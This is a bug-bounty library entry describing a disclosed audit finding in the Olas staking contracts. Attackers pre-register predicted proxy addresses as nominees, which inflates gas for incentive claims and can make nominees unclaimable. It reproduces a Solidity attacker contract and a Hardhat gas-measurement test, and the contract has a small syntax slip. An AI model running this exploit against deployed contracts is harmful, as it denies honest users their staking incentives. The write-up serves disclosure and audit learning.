# Adding staking instance as nominee before it is created

Attacker pre-registers predicted staking proxy addresses as nominees, forcing later incentive claims to iterate hundreds of useless epochs and eventually exceed MAX_NUM_WEEKS.

- Payout: Audit contest
- Severity: medium
- Program: Olas
- Found by: fyamf
- Disclosed: 2024-08-06
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-05-olas-findings/issues/62
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-olas%3AM-03
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:recon technique:source-review vuln:business-logic vuln:dos

**Target:** StakingFactory / VoteWeighting / Dispenser staking incentive claim
**Root cause:** Proxy address is deterministic from chainId+nonce+implementation only (not initPayload), and addNominee sets mapLastClaimedStakingEpochs without verifying the instance exists, so a nominee can be registered long before creation.
**Steps:**
1. Predict future proxy addresses via `getProxyAddressWithNonce(StakingToken|StakingNativeToken, nonce)` for nonces 0..10000.
2. Call `addNomineeEVM(predictedAddr, chainId)` for each predicted address at an early epoch (e.g. epoch 2), setting `mapLastClaimedStakingEpochs` to 2.
3. Later (e.g. epoch 100) the real instance is created via `createStakingInstance` at the predicted address.
4. When `calculateStakingIncentives` is called, `_checkpointNomineeAndGetClaimedEpochCounters` returns firstClaimedEpoch=2, so the loop iterates epochs 2..2+numClaimedEpochs, mostly useless.
5. Gas measured: 326,733 normal vs 1,439,295 malicious (~5x).
**How found:** Code reading of StakingFactory showed proxy address depends only on chainId, nonce and implementation (not initPayload), making addresses predictable; cross-referencing Dispenser.addNominee setting mapLastClaimedStakingEpochs without existence check revealed the gas-inflation vector.
**Exploitation:** Attacker front-runs protocol launch by mass-registering predicted proxy addresses as nominees; when those instances are later created and claim incentives, the claim loop iterates all epochs since registration, inflating gas and eventually making the nominee unusable due to MAX_NUM_WEEKS.
**Escalation:** Registering thousands of predicted addresses amplifies gas cost and can render nominees permanently unclaimable once the epoch gap exceeds MAX_NUM_WEEKS.
**Insight:** When a CREATE2 address is derived from a small, monotonic nonce and a default implementation, addresses are enumerable in advance; check whether any registry accepts those addresses before deployment and whether later logic iterates from registration time.

## Proof of concept (copied exactly from the original report)

**Attacker contract predicting addresses and adding nominees**

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IStakingFactory {
  function getProxyAddressWithNonce(
      address implementation,
      uint256 localNonce
  ) external view returns (address);
}

interface IVoteWeighting {
  function addNomineeEVM(address account, uint256 chainId) external;
}

contract OlasPoC {
  IStakingFactory iStakingFactory;
  IVoteWeighting iVoteWeighting;
  address public immutable StakingToken;
  address public immutable StakingNativeToken;

  constructor(
      address _stakingFactory,
      address _voteWeighting,
      address _stakingToken,
      address _stakingNativeToken;
  ) {
      iStakingFactory = IStakingFactory(_stakingFactory);
      iVoteWeighting = IVoteWeighting(_voteWeighting);
      StakingToken = _stakingToken;
      StakingNativeToken = _stakingNativeToken;
  }

  function run() public {
      address instance;
      for (uint256 i = 0; i < 10000; i++) {
          // predict the address of the instance with implementation address of **StakingToken** and nonce 0 to 10000
          instance = iStakingFactory.getProxyAddressWithNonce(
              StakingToken,
              i
          );
          // add this instance as nominee
          iVoteWeighting.addNomineeEVM(instance, 1);

          // predict the address of the instance with implementation address of **StakingNativeToken** and nonce 0 to 10000
          instance = iStakingFactory.getProxyAddressWithNonce(
              StakingNativeToken,
              i
          );
          // add this instance as nominee
          iVoteWeighting.addNomineeEVM(instance, 1);
      }
  }
}
```

**Malicious case test measuring inflated gas**

```
it("Malicious case", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();

            // Set staking fraction to 100%
            await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
            // Changing staking parameters
            await tokenomics.changeStakingParams(50, 10);

            // Checkpoint to apply changes
            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            // Unpause the dispenser
            await dispenser.setPauseState(0);

            console.log("nominee added at epoch number: ", await tokenomics.epochCounter());

            // Add a staking instance as a nominee
            await vw.addNominee(stakingInstance.address, chainId);


            // Checkpoint to get to the next epochs
            for (let i = 0; i < 100; i++) {
                await helpers.time.increase(epochLen);
                await tokenomics.checkpoint();
            }

            console.log("nominee is voted at epoch number: ", await tokenomics.epochCounter());

            // Vote for the nominee
            await vw.setNomineeRelativeWeight(stakingInstance.address, chainId, defaultWeight);

            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            const stakingTarget = convertAddressToBytes32(stakingInstance.address);

            console.log("calculateStakingIncentives is called at epoch number: ", await tokenomics.epochCounter());

            console.log("Gas consumed to call the calculateStakingIncentives function: ",
                await dispenser.estimateGas.calculateStakingIncentives(101, chainId, stakingTarget, bridgingDecimals));


            // Calculate staking incentives
            await dispenser.calculateStakingIncentives(101, chainId,
                stakingTarget, bridgingDecimals);


            // Restore to the state of the snapshot
            await snapshot.restore();
        });
```

